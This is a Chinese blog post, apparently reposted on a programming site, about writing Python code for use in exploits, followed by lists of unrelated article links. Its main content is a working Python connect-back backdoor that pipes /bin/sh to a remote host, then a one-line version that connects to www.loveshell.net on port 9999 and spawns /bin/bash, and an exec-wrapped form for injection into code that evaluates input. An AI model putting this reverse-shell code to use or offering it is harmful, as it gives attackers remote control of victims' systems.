在漏洞利用Python代码真的很爽


Posted in Python onAugust 26, 2007

不知道怎么忽然想看这个,呵呵
小我的python的反shell的代码
#!/usr/bin/python
# Python Connect-back Backdoor
# Author: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>
# Version: 1.0
# Date: July 15th 2006

import sys
import os
import socket
shell = "/bin/sh"

def usage(programname):
  print "Python Connect-back Backdoor"
  print "Auther: wofeiwo <wofeiwo[0x40]gmail[0x2e]com>"
  print "Date: July 15th 2006\n"
  print "Usage: %s <conn_back_host> <port>\n" % programname

def main():
  if len(sys.argv) != 3: 
    usage(sys.argv[0])
    sys.exit(1)

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try: 
    s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
    print "[+] Connect ok." 
  except: 
    print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2]) 
    sys.exit(2)
  s.send("-------------------- Python Connect-back Backdoor --------------------\n")
  s.send("----------------------------- By wofeiwo -----------------------------\n")
  os.dup2(s.fileno(), 0)
  os.dup2(s.fileno(), 1)
  os.dup2(s.fileno(), 2)
  global shell
  os.system(shell)
  print "See U!"
  s.close()

if __name__ == "__main__": main()

用在漏洞利用的时候不太好,不是么?我们想要短点的,节省下就是

import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");

如何?很短了吧?
不过很可能漏洞利用的地方不允许多语句,譬如允许的输入是在eval当中,不能多语句(后面有解释)那么还可以变化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';

注意是\\r\\n哦,即使在''里好象\r\n一样会成为换行,所以其实这里即使不用;一样可以构造好代码的,另外,为什么不用eval呢?
翻了下手册
exec语句用来执行储存在字符串或文件中的Python语句。例如,我们可以在运行时生成一个包含Python代码的字符串,然后使用exec语句执行这些语句

eval语句用来计算存储在字符串中的有效Python表达式

呵呵,这里用eval好象会出错.
YY一下,思想是相同的,但是具体到语言又是不一样的,如何跳出语言的限制呢?是个问题......

Python 相关文章推荐
python学习手册中的python多态示例代码
Jan 21 Python
Python解析网页源代码中的115网盘链接实例
Sep 30 Python
Python3.2中的字符串函数学习总结
Apr 23 Python
Python上下文管理器和with块详解
Sep 09 Python
Java与Python两大幸存者谁更胜一筹呢
Apr 12 Python
python 同时运行多个程序的实例
Jan 07 Python
django基于存储在前端的token用户认证解析
Aug 06 Python
大家都说好用的Python命令行库click的使用
Nov 07 Python
python 判断txt每行内容中是否包含子串并重新写入保存的实例
Mar 12 Python
Python分析微信好友性别比例和省份城市分布比例的方法示例【基于itchat模块】
May 29 Python
利用Python函数实现一个万历表完整示例
Jan 23 Python
python编程项目中线上问题排查与解决
Nov 01 Python
python编程-将Python程序转化为可执行程序[整理]
Apr 09 #Python
python的几种开发工具介绍
Mar 07 #Python
王纯业的Python学习笔记 下载
Feb 10 #Python
一篇不错的Python入门教程
Feb 08 #Python
Python学习资料
Feb 08 #Python
Python完全新手教程
Feb 08 #Python
简明 Python 基础学习教程
Feb 08 #Python
You might like
PHP新手上路(六)
2006/10/09 PHP
php计算到指定日期还有多少天的方法
2015/04/14 PHP
PHP程序员学习使用Swoole的理由
2018/06/24 PHP
Laravel框架处理用户的请求操作详解
2019/12/20 PHP
根据一段代码浅谈Javascript闭包
2010/12/14 Javascript
jquery ajax例子返回值详解
2012/09/11 Javascript
js写一个弹出层并锁屏效果实现代码
2012/12/07 Javascript
Javascript实现滑块滑动改变值的实现代码
2013/04/12 Javascript
jquery实现智能感知连接外网搜索
2013/05/21 Javascript
高性能JavaScript模板引擎实现原理详解
2015/02/05 Javascript
jquery+html5烂漫爱心表白动画代码分享
2015/08/24 Javascript
Jquery 效果使用详解
2015/11/23 Javascript
JavaScript中iframe实现局部刷新的几种方法汇总
2016/01/06 Javascript
JavaScript必知必会(三) String .的方法来自何方
2016/06/08 Javascript
AngularJS 中使用Swiper制作滚动图不能滑动的解决方法
2016/11/15 Javascript
vue项目中实现图片预览的公用组件功能
2018/10/26 Javascript
微信小程序签到功能
2018/10/31 Javascript
JavaScript中filter的用法实例分析
2019/02/27 Javascript
Node.js 多线程完全指南总结
2019/03/27 Javascript
bootstrap-treeview实现多级树形菜单 后台JSON格式如何组织?
2019/07/26 Javascript
[12:36]《DOTA2》国服注册与激活指南全攻略
2013/04/28 DOTA
[01:04:06]DOTA2上海特级锦标赛A组资格赛#2 Secret VS EHOME第一局
2016/02/26 DOTA
[00:33]2016完美“圣”典风云人物:BurNIng宣传片
2016/12/10 DOTA
Python做文本按行去重的实现方法
2016/10/19 Python
pandas创建新Dataframe并添加多行的实例
2018/04/08 Python
初次部署django+gunicorn+nginx的方法步骤
2019/09/11 Python
基于 HTML5 WebGL 实现的垃圾分类系统
2019/10/08 HTML / CSS
Html5之webcoekt播放JPEG图片流
2020/09/22 HTML / CSS
Maison Lab荷兰:名牌Outlet购物
2018/08/10 全球购物
如何用Python输出一个Fibonacci数列
2016/08/28 面试题
节约电力资源的建议书
2014/03/12 职场文书
保护环境的标语
2014/06/09 职场文书
2015年企业工作总结范文
2015/04/28 职场文书
高三生物教学反思
2016/02/22 职场文书
《法国号》教学反思
2016/02/22 职场文书
Mysql数据库按时间点恢复实战记录
2021/06/30 MySQL